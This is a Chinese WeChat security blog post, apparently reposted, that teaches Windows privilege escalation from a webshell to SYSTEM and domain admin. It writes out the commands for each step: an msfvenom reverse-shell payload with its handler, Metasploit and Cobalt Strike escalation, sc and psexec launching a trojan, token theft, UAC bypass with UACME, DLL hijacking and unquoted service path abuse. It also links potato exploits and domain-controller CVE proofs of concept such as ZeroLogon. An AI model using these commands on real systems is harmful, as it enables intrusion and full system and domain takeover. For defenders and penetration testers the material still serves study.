点击上方蓝字·关注我们
免责声明
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。谢谢!
文章目录结构
前置知识
windows权限的划分
提权的方式
操作系统的提权
内核漏洞提权
工具提权
手工提权
土豆家族
管理员-->操作系统提权
服务启动提权
远程控制提权
进程注入
令牌窃取
UAC绕过
DLL劫持提权
不安全的服务路径
不安全的服务权限
域控提权技术
前置知识
windows权限的划分
-
System
:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。 -
Administrators
:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。 -
Users
:普通用户组,这个组的用户无法进行有意或无意的改动。 -
Guests
:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多 -
Everyone
:所有的用户,这个计算机上的所有用户都属于这个组。
这几种是比较常见的,还有Power Users:高级用户组等
提权的方式
内核溢出漏洞提权
数据库类型提权
第三方软件应用提权
本篇文章主要是介绍内核溢出漏洞提权以及一些win特性导致的提权,数据库提权的话是一种单独的技术,这和win没有太大的关系,linux上也是一样,之后会单独出一篇关于数据库提权的,第三方软件应用提权主要指的是类似于向日葵等远控软件连接密码的获取会合到数据库提权中。
WEB-->操作系统的提权
内核漏洞提权
市面上作为服务器使用较多的操作系统有Windows Server 2008、2012、2016,我这里折中一下选用2012做演示,我这里为了贴近真实环境,直接买计时服务器演示,各位下去可以用虚拟机实验。
工具提权
我先演示工具提权,我这里是WEB到操作系统的权限提升
MSF(不推荐)
使用msf生成木马通过webshell上传到对方服务器上
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe
msf配置好监听,然后run,再运行木马程序
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit
收到回话,然后我们通过msf的漏洞筛选模块,筛选一下可能存在的内核漏洞
use post/multi/recon/local_exploit_suggester
set showdescription true
绿色就代表可能存在,再利用exp提权
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
exploit
这里选择一个经典的烂土豆进行提取
但是看到它这里说成功,但是没有会话产生,看样子是失败了,这种情况下有几种情况我们需要排查一下,可能这个漏洞利用产生的会话需要反弹,我们可以尝试一下(但是它这里不是这个问题,就是利用失败了)。因为我们使用的MSF大多数是免费的公开版,漏洞POC较少,所以不推荐使用,有条件的可以购买pro版本。
CS
cs它自身只有一个提权利用,所以我们主要是使用别人写好的插件里面的提权模块进行提权
在服务器上启动cs
./teamserver IP password
创建监听器并生成木马
还是一样的步骤,上传到对方服务器上执行
成功上线,使用插件进行提权
成功上线
手工提权
工具提权已经介绍完了,工具提权的好处显然易见,简单,方便,傻瓜式操作,但是像MSF免费版poc太少,Pro版本要花钱;CS呢得等别人更新插件,大多数也都是收费的。提权技术是一直在更新的,所以我们需要掌握手工提权技术。
手工提权步骤:
-
信息收集:主要是搜集对方服务器上的补丁信息,操作系统等
-
补丁筛选:根据对方的操作系统以及补丁情况筛选可能存在的漏洞
-
EXP获取执行:筛选后寻找对应编号的POC进行提权
第一步_信息收集:在对方服务器上使用Systeminfo命令获取信息
第二步_补丁筛选:这里推荐一个在线网站,一个筛选工具
在线网站:https://i.hacking8.com/tiquan
网站使用:直接复制对方服务器Systeminfo的信息即可
我们就可以根据对方的补丁信息在判断可能存在哪些漏洞,在寻找POC进行利用
利用工具:wesng
项目地址:https://github.com/bitsadmin/wesng
直接敲这条命令筛选
python wes.py systeminfo.txt --color -i "Elevation of Privilege" -o xxx.csv
#systeminfo.txt 复制好的信息
#--color 显示彩色输出
#-i 是筛选漏洞功能
#-o 导出筛选后的内容
更多参数使用各位执行下去查
得到可能存在的漏洞后就进入下一步。
第三步_EXP获取执行:这里推荐几个漏洞POC集合项目
KernelHub 针对常用溢出编号指定找EXP
https://github.com/Ascotbe/Kernelhub
Poc-in-Github 针对年份及编号指定找EXP
https://github.com/nomi-sec/PoC-in-GitHub
exploitdb 针对类型及关键说明指定找EXP
https://gitlab.com/exploit-database/exploitdb
这里有一点要注意,网上公开的exp也是别人写好的,如果使用后没有效果,不一定是服务器上没有这个漏洞,可能是环境的问题,作者在它当时的环境下可能可以成功,所以如果遇到提权失败可以多换几个POC
手工提权大致流程就是这样,但是这个流程比较繁琐,有没有更简单的?必须有,接下来介绍土豆提权,如果一个人不懂土豆提权,那么他win提权就白学了。
土豆家族
介绍:土豆(potato)提权通常用在我们获取WEB/数据库权限的时候,可以将低权限的服务用户提升为“NT AUTHORITYSYSTEM”特权。
土豆提权原理:土豆系列提权的核心是NTLM中继,通过欺骗运行在高权限(Administrator/SYSTEM)的账户进行ntlm认证,同时作为中间人对认证过程进行劫持和重放,最后调用本地认证接口使用高权限账号的ntml认证获取一个高权限token,只要当前进程拥有SeImpersonatePrivilege权限即可进行令牌模仿,即可取得对应权限。
目前网上的土豆提权系列共有12种,基本覆盖了Windows系统的全系列,我这里挑几个演示。
BadPotato
GodPotato
PrintNotifyPotato
各土豆的利用版本以及下载地址
GodPotato
作用范围:Windows Server 2012 - Windows Server 2022、Windows8 - Windows 11
https://github.com/BeichenDream/GodPotato
SweetPotato
作用范围:从Windows 7到Windows 10 / Server 2019
https://github.com/CCob/SweetPotato
RoguePotato
作用范围:Win 10(部分版本)和Win Server 19
https://github.com/antonioCoco/RoguePotato
BadPotato
作用范围:Windows 2012-2019、Windows 8-10
https://github.com/BeichenDream/BadPotato
EfsPotato
作用范围:未知
https://github.com/zcgonvh/EfsPotato
MultiPotato
作用范围:未知
https://github.com/S3cur3Th1sSh1t/MultiPotato
CandyPotato
作用范围:win10和server2016
https://github.com/klezVirus/CandyPotato
RasmanPotato
作用范围:Windows 10(11 not test), Windows Server 2012 - 2019(2022 not test)
https://github.com/crisprss/RasmanPotato
PetitPotato
作用范围:未知
https://github.com/wh0amitz/PetitPotato
JuicyPotatoNG
作用范围:Windows 10 - 11 Windows Server 2012 - 2022
https://github.com/antonioCoco/JuicyPotatoNG
PrintNotifyPotato
作用范围:Windows 10 - 11 Windows Server 2012 - 2022
https://github.com/BeichenDream/PrintNotifyPotato
CoercedPotato
作用范围:Windows 10 - 11 Windows Server 2012 - 2022
https://github.com/Prepouce/CoercedPotato
管理员-->操作系统提权
服务启动提权
SC
介绍:sc.exe为服务控制管理service control manager,用于对计算机的系统服务进行管理,实现注册,运行,暂停,自启等基础操作,用户能够将符合Windows系统服务化条件的程序进行本地系统后台服务化运行,注册到服务注册表目录下的程序,通过sc的指令实现程序执行状态的切换和管理。
简单来说,添加的服务默认为操作系统权限,我们可以添加服务并把服务指向木马程序
创建一项服务
sc Create syscmd binPath="C:UsersAdministratorDesktophttpd-2.4.58-win32-vs17Apache24htdocscaigo8.exe"
开启创建的服务
sc start syscmd
远程控制提权
psexec
介绍:PsExec 是一种轻量级 telnet 替代品,可让你在其他系统上执行进程,并为控制台应用程序提供完整交互性,而无需手动安装客户端软件。PsExec 最强大的用途包括在远程系统上启动交互式命令提示符,以及 IpConfig 等远程启用工具,否则无法显示有关远程系统的信息。
它启动的程序也会以操作系统权限启动,而且这个psexec是微软官方的工具,不存在查杀问题
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
使用
shell psexec.exe -accepteula -s -i -d "C:UsersAdministratorDesktophttpd-2.4.58-win32-vs17Apache24htdocscaigo8.exe"
进程注入
介绍:进程注入是一种在某个单独的实时进程的地址空间中执行任意代码的方法。在一个进程的上下文中运行特定代码,则有可能访问该进程的内存,系统或网络资源以及提升权限,这里演示工具使用
MSF
使用ps命令获取当前进程
寻找system权限的,然后最好是x86的
migrate PID
CS
也是一样,先ps获取进程
使用inject PID注入
我这里只演示了提权,进程注入也注低权限用户,也就是降权
令牌窃取
介绍:令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在系统中,除非系统重新启动。伪造令牌攻击的核心是 Kerberos 协议。其中注意:令牌窃取并非提权!这里也是演示工具
MSF
use incognito
list_tokens -u
impersonate_token "NT AUTHORITYSYSTEM"
CS
ps //查看进程
steal_token PID //窃取进程令牌
spawnu PID //窃取进程令牌上线
UAC绕过技术
介绍:用户帐户控制 (UAC) 有助于防止恶意程序(也称为恶意软件)损坏计算机,并帮助组织部署更好的托管桌面。通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
那么这个东西对于我们提权会有什么影响呢?
对方如果开启了这个,当我们运行一些程序时会出现这个界面
我们实战情况下通常获取到的都是命令行,又没办法在对方服务器上点确定,所以会导致木马或者提权程序运行失败,所以我们需要绕过它
绕过项目:UACME
项目地址:https://github.com/hfiref0x/UACME
使用方式:Akagi64.exe 编号 调用执行
编号推荐 23,61
uac绕过不属于提权技术的一种,只不过当我们在做权限提升的时候可能会遇到这种情况,所以会用到它。
DLL注入
介绍:在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library),即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。
简单来说就是win下的大部分程序在运行时都会加载一些DLL文件,所谓DLL劫持就是替换程序在运行时会加载的DLL文件,让程序加载我们生成的恶意DLL文件达到上线。
注意:DLL劫持属于被动的权限提权,获取到的权限主要是看程序是由谁运行的。
DLL劫持利用流程
-
寻找受害程序,优先寻找自启动的或者对方可能常用的
-
测试程序启动时,会调用的DLL文件并测试能否劫持
-
生成同名称的恶意dLL文件,进行替换
-
等待服务器程序运行或管理员运行
第一步_寻找受害程序:我这里选用flashfxp
第二步_测试程序运行时加载的DLL文件:我这里使用火绒剑
选中运行程序,查看它调用的DLL文件,这里优先查看软件本身自带的,因为系统中的DLL文件我们是没有权限替换的,如果能替换的话我们也就没有必要提权了,接下来测试DLL能否劫持
使用工具:ChkDllHijack
项目地址:https://github.com/anhkgg/anhkgg-tools
这样就表示可以
输出no就表示不行
第三步_生成恶意DLL文件进行替换:我这里使用CS生成
修改名称替换
第四步_等待服务器重启或者管理员运行
不安全的服务路径
不安全的服务路径是什么呢?,win系统上的服务通常都会对应一个执行程序,列如下图
这个为什么会造成权限提升呢?它这里指向的可执行程序是一个整体所以不会照成安全问题,看下面这个
它指向的执行文件路径是这个
c:program files (x86)grasssoftmacro expertMacroService.exe
它没有使用双引号包裹,说明它不是一个整体,并且它的中间是有空格的
c:programfiles (x86):这个如果在执行的话会执行c:program 而files会被当初参数,那么我们就可以生成名为program的木马放到c盘下服务启动时就会执行我们的木马了。
服务检测命令
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """
替换完成后使用sc重启服务即可
sc start "服务名"
不安全的服务权限
这个实战碰上的可能性太小了,说白就是你能直接替换服务指向的可执行程序,然后再开启服务,但是假如说我是系统用户权限,除非管理员瞎搞,不然我是不能替换system启动服务的可执行程序的。
检测脚本:accesschk
项目地址:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
使用方式:accesschk.exe -uwcqv "" *
普通用户是没有修改指向的权限的,除非对方做了设置
域控提权技术
域控提权目前主要的还是使用网上公开的几个CVE漏洞的POC攻击来进行权限提升。
-
WIN-AD域控提权-CVE-2014-6324
-
WIN-AD域控提权-CVE-2021-42287
-
WIN-AD域控提权-CVE-2020-1472
-
WIN-AD域控提权-CVE-2022-26923
CVE-2014-6324
利用条件:
-
需要域用户账号密码
-
一台主机的管理员权限
POC地址
WindowsElevation/CVE-2014-6324 at master · Al1ex/WindowsElevation · GitHub
CVE-2021-42287
利用条件:
只需要域用户账号密码
POC地址
https://github.com/WazeHell/sam-the-admin
CVE-2020-1472
CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞,影响Windows Server 2008R2至Windows Server 2019的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows.
poc地址
https://github.com/SecuraBV/CVE-2020-1472
CVE-2022-26923
利用条件:
-
一个域内普通账号
-
域内存在证书服务器
最后
原文始发于微信公众号(菜狗安全):win权限提升?看这一篇就够了
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论